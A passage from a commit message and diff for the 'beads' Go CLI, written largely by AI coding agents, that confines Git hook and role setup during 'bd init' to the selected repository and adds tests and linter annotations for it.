context (saa-cgh.109.12) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): scope embedded artifact Git operations to selected directory (saa-cgh.109.15) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(init): cover selected optional artifacts and explain refused commits (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Honor role-probe cancellation and exercise actual fork planning (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * fix(init): warn when automatic contributor role write fails (saa-cgh.109.3) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(init): cover successful nonquiet contributor role writes (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Assert the automatic contributor setup banner alongside warnings (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * test(init): read persisted role routing from the store (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * fix(git): isolate domain role configuration from inherited routing (saa-cgh.109.5) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): probe the selected repository before configuring roles (saa-cgh.109.8) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(init): explain role probe discovery ceiling behavior (saa-cgh.109.8) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): bind proxied tail Git operations to selected directory (saa-cgh.109.14) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): preserve CRLF when appending project rules (saa-cgh.96) Reported by bee-ghosttrack in gastownhall/beads#6343. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(gitignore): pin detector edge cases and clarify append behavior (saa-cgh.96) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): preserve line endings in Git exclude appends (saa-cgh.104) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(gitignore): clarify exclude fixture path variable (saa-cgh.104) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): refuse exclude writes after read errors (saa-cgh.110) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitignore): share append byte composition (saa-cgh.105) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(gitignore): explain append aliasing and trailing CR completion (saa-cgh.105) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitignore): use shared composition for exclude rules (saa-cgh.111) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(gitignore): omit the empty exclude leading separator (saa-cgh.112) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): bind exclude writers to the selected Git directory (saa-cgh.109.16) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): isolate tracked-file guard from Git routing (saa-cgh.98) Follow-up to bee-ghosttrack's review of gastownhall/beads#6322; refs #6356. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): retain legitimate inherited tracking context (saa-cgh.98) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(hooks): isolate trusted global configuration fixture (saa-cgh.98) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(hooks): explain conservative tracked-file guard (saa-cgh.98) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(git): resolve hooks paths in an explicit read-only context (saa-cgh.109.17.1) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * Bind init hook operations to the selected repository (saa-cgh.109.17) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * Give the hooks tail fixture an explicit remote context (saa-cgh.109.17) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(git): canonicalize the hooks fixture repository root (saa-cgh.109.17.1) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): complete selected hook options and alias handling (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Clarify hooks resolver ownership and preserve work-tree diagnostics (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Explain restoration of absent routing variables in selected exclude tests (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Keep init role operations on the captured selected Git context (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Align selected-tail fixtures with captured role authority (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * fix(init): keep embedded hook setup in the selected project (saa-cgh.120.12) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init,config): maintainer fixup for #6464 Pre-review CI repair: - Annotate #nosec G702 on the selected hooks-path git invocation. No shell is involved, every path is passed as its own argv element, and both values reach that line absolute via resolveInitHooksContext. Review iteration 1, blocking: - internal/config: give the secret-config guard the inherited-env fallback that the structurally identical hook guard in cmd/bd/hooks.go already has. isGitTracked is the fail-open half of "refuse to write a secret key into a git-tracked config.yaml", and the scrub alone narrowed it to upward discovery from the config file's directory: under a detached work tree (GIT_DIR + GIT_WORK_TREE with no in-tree .git) the probe reported "untracked" and the secret was written into the tracked file. Probe the scrubbed environment first so inherited routing cannot hide a tracked file, then the inherited one; either probe reporting the path as tracked refuses the write. Adds the legitimate-routing subtest that the poisoned-routing matrix could not express. - cmd/bd/config.go: the new comment claimed "All role commands ignore inherited Git routing". Only the writers were hardened - routing.DetectUserRole, beads.RepoContext.Role, `bd config show` and `bd doctor` still resolve beads.role through the inherited environment, so `bd config get beads.role` and `bd config show` can disagree under one environment. Narrow the comment to the four verbs it covers; widening the boundary to the readers is a separate change. Review iteration 1, non-blocking: - cmd/bd/worktree_cmd.go: disclose that ClearRouting unsets the variables on the bd process itself, and state what clearing the discovery-scope controls does to repository selection. The comment previously claimed the opposite of what the init path's own note admits. - cmd/bd/init_proxied_server.go: drop isRoleGitRepo. With workDir set, gitUC is NewInitGitRepository(workDir), whose IsGitRepo runs the same `git rev-parse --git-dir` with the same Dir and scrubbed env; with workDir empty the helper returned its fallback. It was isRepo in both arms, plus a second git subprocess per `bd init --proxied`. - cmd/bd/doctor/gitignore.go: omit the leading blank line when creating a fresh .gitignore, matching the two sibling writers this PR already conditionalized in cff94aa43. Review iteration 2, non-blocking: - cmd/bd/worktree_cmd.go: iteration 1's own rewrite lumped GIT_DISCOVERY_ACROSS_FILESYSTEM in with GIT_CEILING_DIRECTORIES as "removes an inherited stop". That is backwards. git(1) documents that discovery "does not cross filesystem boundaries" by default and that this variable "can be set to true to tell Git not to stop at filesystem boundaries" - it only ever permits, so clearing it *adds* a stop and narrows the walk. Split the clause per control: the ceiling widens, GIT_DISCOVERY_ACROSS_FILESYSTEM narrows (a repository reachable only across a mount point is no longer found by any `bd worktree` verb, with no opt-out), and ClearRouting's GIT_CONFIG prefix match drops the whole GIT_CONFIG* family for the command's lifetime rather than for one child probe. This comment is the only in-tree assertion about the variable's direction; export_auto.go:1083-1085 groups the two without claiming one. - cmd/bd/config.go: "bd config's own beads.role reads and writes" covered `bd config show`, which the very next sentence lists as an exception. Name the four verbs that do scrub (get/set/unset/set-many, at config.go:209, :355, :609 and :902 - the only four git invocations in the file). - internal/config: make the guard's fail-open default unspellable. The mirrored helper took `envs ...[]string`, so a future zero-probe call would fall through to "untracked" and write the secret with no compiler backstop. Promote the first environment to a required parameter. The tail stays variadic rather than matching the twin's fixed (clean, inherited) arity because the fallback's fixture guard has to probe one environment alone, and exec treats a nil Env as "inherit the current process" rather than as a disabled probe. Pre-approval CI repair: - Annotate the four gosec taint findings this PR newly introduces in package cmd/bd: G704 on the two connectivity probes in dolt.go, G702 on the staged-deletion probe in hooks.go and on the ls-remote probe in sync_git.go. None of the four is reported by the PR lane, whose lint is scoped to the diff (only-new-issues / --new-from-merge-base), and all four sit on lines this PR does not otherwise touch - but main.yml runs the same wrapper with BD_LINT_NEW_FROM_MERGE_BASE unset and sweeps the whole tree, so merging as-is turns main's Lint and PR Lint jobs red. Measured whole-tree at pr.yml's pinned golangci-lint v2.10.1 with --build-tags=gms_pure_go: origin/main 0 issues, this head 4, this head with the annotations 0. The findings are taint over-approximation rather than new exposure: gosec's analysis is not field-sensitive, so routing config discovery through env-derived paths marks the whole store value tainted and every remote URL read back off it inherits that. Each annotation states why its own call site is safe; the additions are comment-only, with no deletions and no behaviour change. The hooks.go annotation sits on the isExportFileStagedForDeletion declaration rather than on the exec.Command call. main has since rewritten that body to address the export file through nearestExistingDir + filepath.Rel, so a call-site comment both conflicted with the merge and described an argument the merged body no longer builds. On the declaration it merges cleanly and its justification holds for either body. Pre-approval base refresh (rebased onto 511849496): - Reconcile this PR with gastownhall/beads#6477, which landed on main after this branch was first rebased and which changes the same reader. The two changes collide in both directions, and neither side's CI can see it: the PR lane builds this branch against its own base, main's lane never has the PR, and only the merged tree fails. - #6477 direction: its new subtest TestConfig_ReadFailuresAreNotMissing/invalid_routing_boolean poisons GIT_CONFIG_NOSYSTEM and expects the beads.role read to exit 128. This PR scrubs GIT_CONFIG* for exactly that key, so git never sees the poison and the read succeeds. Replaced that row with TestConfig_BeadsRoleScrubsInheritedRoutingEnv, which pins both halves of the new contract: beads.role reads through the scrub, and a key outside it (user.name) still surfaces the same poison as an exit-128 read error rather than as an absent key. #6477's general guarantee is untouched - malformed_config still proves it for beads.role through the repository's own config file. - Opposite direction: this PR's own TestInitGitRepositoryUsesSelectedDirectory/captured_home asserted require.NoError on a generic-constructor read, commented "The existing reader maps Git exit errors to absence" - the precise behaviour #6477 removed. Expect the propagated exit error instead. The test's intent is unchanged and in fact better served: only the current caller environment can see the changed HOME's broken .gitconfig, so that error is itself the proof that generic role reads still use it. * test(init): retarget the bare row to the work-tree-less install policy This PR's TestInitEmbeddedHooksSelectedTail/bare row (authored 2026-09-09) asserted that a bare repository fails to resolve hooks and installs nothing. #6457 (6a4b4aa14e, 2026-09-27) added git.ResolveWorkTreelessHooksContext specifically to end that behavior -- its own comment calls out "turning a supported repository into a warning and no install at all" as the defect it fixes -- so the row pinned a policy main had deliberately superseded by the time the two met. Retargeted in place rather than deleted, so the bare shape keeps coverage through the embedded-init entry point (main's new bare/git_dir_cwd rows cover only the proxied path): bare now installs like any other selected repository, and being its own common directory, its hooks path lands in its own config. Mutation-proved load-bearing: removing the work-tree-less fallback reds this row alone (the other eight rows stay green) with ".../hooks/pre-commit: no such file or directory" -- i.e. it reproduces the original expectation exactly. --------- Signed-off-by: Ewen Cuthiell Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 Co-authored-by: Gas City Adopt-PR --- cmd/bd/config.go | 2 +- cmd/bd/doctor/gitignore.go | 2 + cmd/bd/doctor/gitignore_test.go | 30 +++++++++ cmd/bd/dolt.go | 10 +++ cmd/bd/hooks.go | 8 +++ cmd/bd/hooks_worktree_test.go | 100 ++++++++++++++++++++++++++++ cmd/bd/init.go | 36 +--------- cmd/bd/init_embedded_test.go | 40 +++++++++++ cmd/bd/init_git_hooks.go | 55 +++++++++++++++ cmd/bd/init_proxied_server.go | 22 ++---- cmd/bd/sync_git.go | 6 ++ cmd/bd/worktree_cmd.go | 30 +++++++-- internal/config/git_routing_test.go | 46 +++++++++++++ internal/config/yaml_config.go | 30 ++++++++- internal/git/gitdir.go | 3 +- 15 files changed, 360 insertions(+), 60 deletions(-) diff --git a/cmd/bd/config.go b/cmd/bd/config.go index ebdfb6ed6..ca7e1971f 100644 --- a/cmd/bd/config.go +++ b/cmd/bd/config.go @@ -239,7 +239,7 @@ var configSetCmd = &cobra.Command{ if !validRoles[value] { return HandleError("invalid role %q (valid values: maintainer, contributor)", value) } - // bd config's own beads.role reads and writes ignore inherited Git + // bd config get/set/unset/set-many beads.role ignore inherited Git // routing, including GIT_CONFIG_GLOBAL, so the value lands in the // repository this command selected. beads.role is an authority // value and the reader it feeds treats a missing value as diff --git a/cmd/bd/doctor/gitignore.go b/cmd/bd/doctor/gitignore.go index ebafa5dc8..1dc6052e7 100644 --- a/cmd/bd/doctor/gitignore.go +++ b/cmd/bd/doctor/gitignore.go @@ -790,6 +790,8 @@ func EnsureProjectGitignore(repoPath string) error { return nil // All patterns already present } + // A fresh .gitignore must not start with a blank line; the separator only + // belongs between existing content and the appended block. lines := make([]string, 0, len(toAdd)+2) if len(content) > 0 { lines = append(lines, "") diff --git a/cmd/bd/doctor/gitignore_test.go b/cmd/bd/doctor/gitignore_test.go index e123d53c7..650863a6b 100644 --- a/cmd/bd/doctor/gitignore_test.go +++ b/cmd/bd/doctor/gitignore_test.go @@ -1924,6 +1924,36 @@ func TestEnsureProjectGitignore_CreatesFile(t *testing.T) { } } +func TestEnsureProjectGitignore_LeadingSeparatorOnlyAfterExistingContent(t *testing.T) { + for _, tc := range []struct { + name string + existing string + want string + }{ + {name: "fresh file", existing: "", want: ProjectGitignoreHeader + "\n"}, + {name: "existing content", existing: "build/\n", want: "build/\n\n" + ProjectGitignoreHeader + "\n"}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Chdir(t.TempDir()) + if tc.existing != "" { + if err := os.WriteFile(".gitignore", []byte(tc.existing), 0o600); err != nil { + t.Fatal(err) + } + } + if err := EnsureProjectGitignore("."); err != nil { + t.Fatalf("EnsureProjectGitignore() error = %v", err) + } + content, err := os.ReadFile(".gitignore") + if err != nil { + t.Fatal(err) + } + if got := string(content); !strings.HasPrefix(got, tc.want) { + t.Errorf(".gitignore starts with %q, want prefix %q", got[:min(len(got), len(tc.want)+16)], tc.want) + } + }) + } +} + func TestEnsureProjectGitignore_AppendsToExisting(t *testing.T) { tmpDir := t.TempDir() oldDir, err := os.Getwd() diff --git a/cmd/bd/dolt.go b/cmd/bd/dolt.go index d4b28d05d..c7a3e4633 100644 --- a/cmd/bd/dolt.go +++ b/cmd/bd/dolt.go @@ -2375,6 +2375,13 @@ func extractSSHHost(url string) string { // Bare dial+close (no doltserver.ProbeSQLServer): SSH, not MySQL — there is // no handshake greeting to drain here. func testSSHConnectivity(host string) bool { + // #nosec G704 -- host is extractSSHHost(r.URL) over the remotes this repo's + // own store returns, i.e. operator-configured local state, not request data. + // The probe dials and immediately closes: nothing is sent and no response is + // read, so there is no forgeable request. gosec only reaches this call after + // this PR routed config discovery through env-derived paths; its taint + // analysis is not field-sensitive, so one env-derived path marks the whole + // store value tainted and every URL read back off it inherits that. conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, "22"), 5*time.Second) if err != nil { return false @@ -2413,6 +2420,9 @@ func httpURLToTCPAddr(url string) string { // is no handshake greeting to drain here. func testHTTPConnectivity(url string) bool { addr := httpURLToTCPAddr(url) + // #nosec G704 -- same probe shape and same taint path as testSSHConnectivity + // above: url is a remote URL from this repo's own store, and the dial is + // closed without sending or reading anything. conn, err := net.DialTimeout("tcp", addr, 5*time.Second) if err != nil { return false diff --git a/cmd/bd/hooks.go b/cmd/bd/hooks.go index 5274f55ba..deed54e94 100644 --- a/cmd/bd/hooks.go +++ b/cmd/bd/hooks.go @@ -2036,6 +2036,14 @@ func hookSubprocessEnv(env []string) []string { // the pending index — where the staged deletion lives — so scrubbing it // here would make git fall back to the on-disk index and miss the // deletion. Reimplements gastownhall/beads#3838 (ckumar1). +// +// #nosec G702 -- no shell is involved: the binary is the literal "git" and +// every argument is its own argv element. The only variable argument is the +// export file's own path, and it sits after the "--" terminator, so git +// always reads it as a pathspec and never as an option. Annotated on the +// function rather than on the call so it stays correct however the body +// addresses that path. Mirrors the annotation on configureHooksPath in +// init_git_hooks.go. func isExportFileStagedForDeletion(fullPath string) bool { // The export file's directory is not guaranteed to exist — hookJSONLDir // can retarget into a worktree with no .beads yet, and a nested diff --git a/cmd/bd/hooks_worktree_test.go b/cmd/bd/hooks_worktree_test.go index f0e792e35..61617e124 100644 --- a/cmd/bd/hooks_worktree_test.go +++ b/cmd/bd/hooks_worktree_test.go @@ -373,6 +373,106 @@ func readInitHooksFile(t *testing.T, path string) []byte { return data } +func TestInitEmbeddedHooksSelectedTail(t *testing.T) { + for _, name := range []string{"missing", "skip", "nonrepo", "pure_jj", "quiet_pure_jj", "colocated", "bare", "config_lock", "quiet_config_lock"} { + t.Run(name, func(t *testing.T) { + selected, decoy, storage, common := newInitHooksFixture(t) + preserveInitRoleInputs(t, filepath.Join(decoy, ".git", "config"), filepath.Join(decoy, ".git", "index")) + if name == "nonrepo" || strings.Contains(name, "pure_jj") || name == "bare" { + selected = t.TempDir() + } + if name == "bare" { + initExcludeGit(t, selected, "init", "--bare") + } + if strings.Contains(name, "pure_jj") || name == "colocated" { + require.NoError(t, os.Mkdir(filepath.Join(selected, ".jj"), 0755)) + } + if name == "colocated" { + initExcludeGit(t, selected, "config", "--local", "core.hooksPath", filepath.Join(common, "hooks")) + } + locked, quiet := strings.Contains(name, "config_lock"), strings.HasPrefix(name, "quiet") + if locked { + require.NoError(t, os.WriteFile(filepath.Join(common, "config.lock"), []byte("owned lock"), 0600)) + preserveInitRoleInputs(t, filepath.Join(common, "config")) + } + run := func() { runEmbeddedInitHooks(t.Context(), selected, storage, name == "skip", quiet) } + if locked { + stderr := captureStderr(t, run) + require.Equal(t, !quiet, strings.Contains(stderr, "Failed to install git hooks")) + require.Equal(t, !quiet, strings.Contains(stderr, "bd hooks install --beads")) + } else { + stdout := captureStdout(t, func() error { run(); return nil }) + require.Equal(t, name == "pure_jj", strings.Contains(stdout, "Jujutsu repository detected")) + } + destination := filepath.Join(storage, "hooks") + if name == "colocated" { + destination = filepath.Join(common, "hooks") + } + if name == "skip" || name == "nonrepo" || strings.Contains(name, "pure_jj") { + _, err := os.Stat(destination) + require.ErrorIs(t, err, os.ErrNotExist) + return + } + require.Contains(t, string(readInitHooksFile(t, filepath.Join(destination, "pre-commit"))), hookSectionBeginPrefix) + if !locked && name != "colocated" { + // A bare repository has no work tree to anchor, so it resolves + // through the work-tree-less hooks context (GH#6457) and is its own + // common directory. It installs like any other selected repository + // rather than degrading to a warning and no install at all. + configRoot := common + if name == "bare" { + configRoot = selected + } + got := initExcludeGit(t, selected, "config", "--file", filepath.Join(configRoot, "config"), "--get", "core.hooksPath") + require.Equal(t, filepath.Clean(destination), filepath.Clean(got)) + } + }) + } +} + +func TestInitEmbeddedHooksSelectedStatus(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("hook current-status checks require POSIX executable bits") + } + for _, name := range []string{"decoy_current", "target_current", "target_outdated"} { + t.Run(name, func(t *testing.T) { + selected, decoy, storage, common := newInitHooksFixture(t) + current := filepath.Join(decoy, ".git", "hooks") + configuredRepo := decoy + if name != "decoy_current" { + current = filepath.Join(common, "hooks") + configuredRepo = selected + } + initExcludeGit(t, configuredRepo, "config", "--local", "core.hooksPath", current) + require.NoError(t, os.MkdirAll(current, 0755)) + for _, hook := range managedHookNames { + content := "#!/bin/sh\n" + generateHookSection(hook) + if name == "target_outdated" { + content = "#!/bin/sh\n" + hookVersionPrefix + "0.0.0\n# bd (beads) " + hook + " hook\n" + } + require.NoError(t, os.WriteFile(filepath.Join(current, hook), []byte(content), 0755)) + } + require.True(t, hooksInstalledAt(current)) + require.Equal(t, name == "target_outdated", hookStatusesNeedUpdate(checkGitHooksAt(current))) + if name == "decoy_current" { + require.True(t, hooksInstalled() && !hooksNeedUpdate(), "inherited decoy hooks must be current") + } + preserveInitRoleInputs(t, filepath.Join(current, "pre-commit"), filepath.Join(decoy, ".git", "config"), filepath.Join(decoy, ".git", "index")) + stdout := captureStdout(t, func() error { + runEmbeddedInitHooks(t.Context(), selected, storage, false, false) + return nil + }) + require.Equal(t, name == "target_outdated", strings.Contains(stdout, "Updating hooks to version")) + if name == "target_current" { + _, err := os.Stat(filepath.Join(storage, "hooks")) + require.ErrorIs(t, err, os.ErrNotExist) + } else { + require.Contains(t, string(readInitHooksFile(t, filepath.Join(storage, "hooks", "pre-commit"))), hookSectionBeginLine()) + } + }) + } +} + func preserveStandaloneHookInputs(t *testing.T, paths ...string) { t.Helper() beforeEnv := os.Environ() diff --git a/cmd/bd/init.go b/cmd/bd/init.go index 5064509d2..69a93e6fc 100644 --- a/cmd/bd/init.go +++ b/cmd/bd/init.go @@ -2051,41 +2051,7 @@ Non-interactive mode (--non-interactive or BD_NON_INTERACTIVE=1): } } - // Check if we're in a git repo and hooks aren't installed - // Install by default unless --skip-hooks is passed - // Hooks are installed to .beads/hooks/ (uses git config core.hooksPath) - // For jujutsu colocated repos, use simplified hooks (no staging needed) - hooksExist := hooksInstalled() - if !skipHooks && (!hooksExist || hooksNeedUpdate()) { - if hooksExist && !quiet { - fmt.Printf(" Updating hooks to version %s...\n", Version) - } - isJJ := git.IsJujutsuRepo() - isColocated := git.IsColocatedJJGit() - - if isJJ && !isColocated { - // Pure jujutsu repo (no git) - print alias instructions - if !quiet { - printJJAliasInstructions() - } - } else if isColocated { - // Colocated jj+git repo - use simplified hooks - if err := installJJHooks(); err != nil && !quiet { - fmt.Fprintf(os.Stderr, "\n%s Failed to install jj hooks: %v\n", ui.RenderWarn("⚠"), err) - fmt.Fprintf(os.Stderr, "You can try again with: %s\n\n", ui.RenderAccent("bd doctor --fix")) - } else if !quiet { - fmt.Printf(" Hooks installed (jujutsu mode - no staging)\n") - } - } else if isGitRepo() { - // Regular git repo - install hooks to .beads/hooks/ - if err := installHooksWithOptions(managedHookNames, false, false, false, true); err != nil && !quiet { - fmt.Fprintf(os.Stderr, "\n%s Failed to install git hooks to .beads/hooks/: %v\n", ui.RenderWarn("⚠"), err) - fmt.Fprintf(os.Stderr, "You can try again with: %s\n\n", ui.RenderAccent("bd hooks install --beads")) - } else if !quiet { - fmt.Printf(" Hooks installed to: .beads/hooks/\n") - } - } - } + runEmbeddedInitHooks(rootCtx, cwd, beadsDir, skipHooks, quiet) // Initialize version tracking: create .local_version file during bd init // instead of deferring it to the first bd command. diff --git a/cmd/bd/init_embedded_test.go b/cmd/bd/init_embedded_test.go index b2aa498a4..8b5e25235 100644 --- a/cmd/bd/init_embedded_test.go +++ b/cmd/bd/init_embedded_test.go @@ -22,8 +22,48 @@ import ( "github.com/steveyegge/beads/internal/storage/embeddeddolt" "github.com/steveyegge/beads/internal/storage/schema" "github.com/steveyegge/beads/internal/types" + "github.com/stretchr/testify/require" ) +func TestEmbeddedInitHooksRouting(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") + } + bd := buildEmbeddedBD(t) + target, decoy, home := newInitRoleFixture(t) + global := filepath.Join(home, ".gitconfig") + initRoleFixtureGit(t, target, "config", "--file", global, "user.name", "Hook Fixture") + initRoleFixtureGit(t, target, "config", "--file", global, "user.email", "hooks@example.invalid") + require.NoError(t, os.WriteFile(filepath.Join(decoy, "seed"), []byte("decoy\n"), 0600)) + initRoleFixtureGit(t, decoy, "add", "seed") + t.Setenv("GIT_DIR", filepath.Join(home, "missing.git")) + t.Setenv("GIT_WORK_TREE", decoy) + t.Setenv("GIT_INDEX_FILE", filepath.Join(decoy, ".git", "index")) + preserveInitRoleInputs(t, filepath.Join(decoy, ".git", "config"), filepath.Join(decoy, ".git", "index"), global) + storage := filepath.Join(home, "separate storage", ".beads") + require.NoError(t, os.MkdirAll(filepath.Dir(storage), 0750)) + cmd := exec.Command(bd, "init", "--prefix", "hookfixture", "--quiet", "--non-interactive", "--skip-agents", "--role", "maintainer") + env := bdEnv(home) + for _, key := range []string{"BEADS_DIR", "BEADS_DB", "BD_DB", "BD_DOLT_HOST", "BD_DOLT_PORT"} { + env = envWithout(env, key) + } + cmd.Dir, cmd.Env = target, append(env, "BEADS_DIR="+storage, "DOLT_ROOT_PATH="+home, "BD_DOLT_MODE=embedded", "BD_EVENTS_JOURNAL=false") + out, err := cmd.CombinedOutput() + require.NoError(t, err, "embedded hook init: %s", out) + cfg, err := configfile.Load(storage) + require.NoError(t, err) + require.NotNil(t, cfg) + require.Equal(t, configfile.DoltModeEmbedded, cfg.DoltMode) + info, err := os.Stat(filepath.Join(storage, "embeddeddolt", "hookfixture", ".dolt")) + require.NoError(t, err) + require.True(t, info.IsDir()) + for _, name := range managedHookNames { + require.Contains(t, string(readInitHooksFile(t, filepath.Join(storage, "hooks", name))), hookSectionBeginPrefix) + } + got := initRoleFixtureGit(t, target, "config", "--local", "--get", "core.hooksPath") + require.Equal(t, filepath.Clean(filepath.Join(storage, "hooks")), filepath.Clean(got)) +} + var ( embeddedBDOnce sync.Once embeddedBD string diff --git a/cmd/bd/init_git_hooks.go b/cmd/bd/init_git_hooks.go index 8e711b607..e74d654a1 100644 --- a/cmd/bd/init_git_hooks.go +++ b/cmd/bd/init_git_hooks.go @@ -1,6 +1,7 @@ package main import ( + "context" "fmt" "os" "os/exec" @@ -10,9 +11,58 @@ import ( "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/gitenv" + "github.com/steveyegge/beads/internal/storage/domain" + domaingit "github.com/steveyegge/beads/internal/storage/domain/git" "github.com/steveyegge/beads/internal/ui" ) +// runEmbeddedInitHooks uses the project for Git and the captured storage for hooks. +func runEmbeddedInitHooks(ctx context.Context, workDir, beadsDir string, skip, quiet bool) { + if skip { + return + } + gitUC := domain.NewGitUseCase(workDir, domaingit.NewInitGitRepository(workDir)) + isColocated := gitUC.IsColocatedJJGit(ctx) + if gitUC.IsJujutsuRepo(ctx) && !isColocated { + if !quiet { + printJJAliasInstructions() + } + return + } + if !isColocated && !gitUC.IsGitRepo(ctx) { + return + } + hooks, err := resolveInitHooksContext(workDir, beadsDir) + if err != nil { + if !quiet { + fmt.Fprintf(os.Stderr, "\n%s Failed to resolve git hooks: %v\n", ui.RenderWarn("⚠"), err) + } + return + } + hooksExist := hooks.installed() + if hooksExist && !hooks.needsUpdate() { + return + } + if hooksExist && !quiet { + fmt.Printf(" Updating hooks to version %s...\n", Version) + } + if isColocated { + if err := installHooksWithContext(jjHookNames, false, false, false, false, hooks); err != nil && !quiet { + fmt.Fprintf(os.Stderr, "\n%s Failed to install jj hooks: %v\n", ui.RenderWarn("⚠"), err) + fmt.Fprintf(os.Stderr, "You can try again with: %s\n\n", ui.RenderAccent("bd doctor --fix")) + } else if !quiet { + fmt.Printf(" Hooks installed (jujutsu mode - no staging)\n") + } + } else { + if err := installHooksWithContext(managedHookNames, false, false, false, true, hooks); err != nil && !quiet { + fmt.Fprintf(os.Stderr, "\n%s Failed to install git hooks to .beads/hooks/: %v\n", ui.RenderWarn("⚠"), err) + fmt.Fprintf(os.Stderr, "You can try again with: %s\n\n", ui.RenderAccent("bd hooks install --beads")) + } else if !quiet { + fmt.Printf(" Hooks installed to: .beads/hooks/\n") + } + } +} + // preCommitFrameworkPattern matches pre-commit or prek framework hooks. // Uses same patterns as hookManagerPatterns in doctor/fix/hooks.go for consistency. // Includes all detection patterns: pre-commit run, prek run/hook-impl, config file refs, and pre-commit env vars. @@ -375,6 +425,11 @@ func (c *initHooksContext) needsUpdate() bool { } func (c *initHooksContext) configureHooksPath(hooksDir string) error { + // #nosec G702 -- no shell is involved: the binary is the literal "git" and + // every path is passed as its own argv element, so neither c.paths.CommonDir + // nor hooksDir can inject a command. Both reach here from the selected hooks + // context and are absolute, and this mirrors the pre-existing + // configureBeadsHooksPath in hooks.go. cmd := exec.Command("git", "--git-dir", c.paths.CommonDir, "config", "--local", "core.hooksPath", hooksDir) cmd.Dir, cmd.Env = c.workDir, c.env if output, err := cmd.CombinedOutput(); err != nil { diff --git a/cmd/bd/init_proxied_server.go b/cmd/bd/init_proxied_server.go index 2d101e51f..29161a5a4 100644 --- a/cmd/bd/init_proxied_server.go +++ b/cmd/bd/init_proxied_server.go @@ -5,7 +5,6 @@ import ( "encoding/json" "fmt" "os" - "os/exec" "path/filepath" "strings" "time" @@ -15,7 +14,6 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/configfile" - "github.com/steveyegge/beads/internal/gitenv" "github.com/steveyegge/beads/internal/storage/domain" domaingit "github.com/steveyegge/beads/internal/storage/domain/git" "github.com/steveyegge/beads/internal/storage/fs" @@ -521,27 +519,21 @@ type runInitTailContext struct { gitUC domain.GitUseCase } -func (t runInitTailContext) isRoleGitRepo(ctx context.Context, fallback bool) bool { - // Isolated tail contexts without a selected path retain their supplied use case. - if t.workDir == "" { - return fallback - } - // Dropping discovery ceilings can select a containing parent repository, - // matching the role adapter's existing scrubbed reads and writes. - probe := exec.CommandContext(ctx, "git", "rev-parse", "--git-dir") - probe.Dir, probe.Env = t.workDir, gitenv.ScrubRouting(os.Environ()) - return probe.Run() == nil -} - func runInitProxiedServerTail(cmd *cobra.Command, ctx context.Context, in initProxiedServerInput, t runInitTailContext) error { gitUC := t.gitUC if t.workDir != "" { // Only the selected tail uses this scope; earlier bootstrap keeps its provider. + // NewInitGitRepository runs `git rev-parse --git-dir` with Dir=workDir and + // scrubbed routing, so dropping discovery ceilings can select a containing + // parent repository, matching the role adapter's scrubbed reads and writes. gitUC = domain.NewGitUseCase(t.workDir, domaingit.NewInitGitRepository(t.workDir)) } + // One probe answers both the role gate and the artifact gates: gitUC is the + // scrubbed selected-directory repository whenever workDir is set, and the + // supplied use case otherwise, so a separate role probe could only repeat it. isRepo := gitUC.IsGitRepo(ctx) - if t.isRoleGitRepo(ctx, 